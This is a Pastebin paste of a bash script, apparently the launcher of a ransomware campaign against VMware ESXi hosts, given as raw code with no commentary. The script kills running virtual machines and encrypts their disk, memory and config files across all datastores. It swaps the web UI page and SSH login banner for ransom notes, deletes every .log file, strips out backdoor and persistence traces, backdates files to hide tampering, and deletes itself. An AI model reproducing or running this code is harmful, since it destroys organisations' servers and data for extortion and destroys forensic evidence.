Advertisement
Guest User

encrypt.sh

a guest
Feb 3rd, 2023
5,508
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.71 KB | None | 0 0
  1. #!/bin/sh
  2. CLEAN_DIR="/tmp/"
  3.  
  4. # SET LIMITS
  5.  
  6. ulimit -p $(ulimit -Hp)
  7. ulimit -n $(ulimit -Hn)
  8.  
  9. ## CHANGE CONFIG
  10.  
  11. for config_file in $(esxcli vm process list | grep "Config File" | awk '{print $3}'); do
  12.   echo "FIND CONFIG: $config_file"
  13.   sed -i -e 's/.vmdk/1.vmdk/g' -e 's/.vswp/1.vswp/g' "$config_file"
  14. done
  15.  
  16. ## STOP VMX
  17. echo "KILL VMX"
  18. kill -9 $(ps | grep vmx | awk '{print $2}')
  19.  
  20. ## ENCRYPT
  21.  
  22. chmod +x $CLEAN_DIR/encrypt
  23.  
  24. for volume in $(IFS='\n' esxcli storage filesystem list | grep "/vmfs/volumes/" | awk -F'  ' '{print $2}'); do
  25.   echo "START VOLUME: $volume"
  26.   IFS=$'\n'
  27.   for file_e in $( find "/vmfs/volumes/$volume/" -type f -name "*.vmdk" -o -name "*.vmx" -o -name "*.vmxf" -o -name "*.vmsd" -o -name "*.vmsn" -o -name "*.vswp" -o -name "*.vmss" -o -name "*.nvram" -o -name "*.vmem"); do
  28.       if [[ -f "$file_e" ]]; then
  29.         size_kb=$(du -k $file_e | awk '{print $1}')
  30.         if [[ $size_kb -eq 0 ]]; then
  31.           size_kb=1
  32.         fi
  33.         size_step=0
  34.         if [[ $(($size_kb/1024)) -gt 128 ]]; then
  35.           size_step=$((($size_kb/1024/100)-1))
  36.         fi
  37.         echo "START ENCRYPT: $file_e SIZE: $size_kb STEP SIZE: $size_step" "\"$file_e\" $size_step 1 $((size_kb*1024))"
  38.         echo $size_step 1 $((size_kb*1024)) > "$file_e.args"
  39.         nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem "$file_e" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1&
  40.       fi
  41.   done
  42.   IFS=$" "
  43. done
  44.  
  45. ## INDEX.HTML
  46. CLEAN_DIR="/tmp/"
  47. IFS=$'\n'
  48. for file_ui in $(find /usr/lib/vmware -type f -name index.html); do
  49.   path_to_ui=$(dirname $file_ui)
  50.   echo "FIND UI: $path_to_ui"
  51.   mv "$path_to_ui/index.html" "$path_to_ui/index1.html"
  52.   cp "$CLEAN_DIR/index.html" "$path_to_ui/index.html"
  53. done
  54. IFS=$' '
  55.  
  56. ## SSH HI
  57.  
  58. mv /etc/motd /etc/motd1 && cp $CLEAN_DIR/motd /etc/motd
  59.  
  60. ## DELETE
  61. echo "START DELETE"
  62.  
  63. /bin/find / -name *.log -exec /bin/rm -rf {} \;
  64.  
  65. A=$(/bin/ps | /bin/grep encrypt | /bin/grep -v grep | /bin/wc -l)
  66. while [[ $A -ne 0 ]];
  67. do
  68.   /bin/echo "Waiting for task' completion... ($A)"
  69.   /bin/sleep 0.1
  70.   A=$(/bin/ps | /bin/grep encrypt  | /bin/grep -v grep | /bin/wc -l)
  71. done
  72.  
  73. if [ -f "/sbin/hostd-probe.bak" ];
  74. then
  75.   /bin/rm -f /sbin/hostd-probe
  76.   /bin/mv /sbin/hostd-probe.bak /sbin/hostd-probe
  77.   /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /sbin/hostd-probe
  78. fi
  79.  
  80. B=$(/bin/vmware -l | /bin/grep " 7." | /bin/wc -l)
  81. if [[ $B -ne 0 ]];
  82. then
  83.   /bin/chmod +w /var/spool/cron/crontabs/root
  84.   /bin/sed '$d' /var/spool/cron/crontabs/root > /var/spool/cron/crontabs/root.1
  85.   /bin/sed '1,8d' /var/spool/cron/crontabs/root.1 > /var/spool/cron/crontabs/root.2
  86.   /bin/rm -f /var/spool/cron/crontabs/root /var/spool/cron/crontabs/root.1
  87.   /bin/mv /var/spool/cron/crontabs/root.2 /var/spool/cron/crontabs/root
  88.   /bin/touch -r /usr/lib/vmware/busybox/bin/busybox /var/spool/cron/crontabs/root
  89.   /bin/chmod -w /var/spool/cron/crontabs/root
  90. fi
  91.  
  92. if [[ $B -eq 0 ]];
  93. then
  94.   /bin/sed '1d' /bin/hostd-probe.sh > /bin/hostd-probe.sh.1 && /bin/mv /bin/hostd-probe.sh.1 /bin/hostd-probe.sh
  95. fi
  96.  
  97. /bin/rm -f /store/packages/vmtools.py
  98. /bin/sed '$d' /etc/vmware/rhttpproxy/endpoints.conf > /etc/vmware/rhttpproxy/endpoints.conf.1 && /bin/mv /etc/vmware/rhttpproxy/endpoints.conf.1 /etc/vmware/rhttpproxy/endpoints.conf
  99. /bin/echo '' > /etc/rc.local.d/local.sh
  100. /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/vmware/rhttpproxy/endpoints.conf
  101. /bin/touch -r /etc/vmware/rhttpproxy/config.xml /bin/hostd-probe.sh
  102. /bin/touch -r /etc/vmware/rhttpproxy/config.xml /etc/rc.local.d/local.sh
  103.  
  104. /bin/rm -f $CLEAN_DIR"encrypt" $CLEAN_DIR"nohup.out" $CLEAN_DIR"index.html" $CLEAN_DIR"motd" $CLEAN_DIR"public.pem" $CLEAN_DIR"archieve.zip"
  105.  
  106. /bin/sh /bin/auto-backup.sh
  107. /bin/rm -- "$0"
  108.  
  109. /etc/init.d/SSH start
  110.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement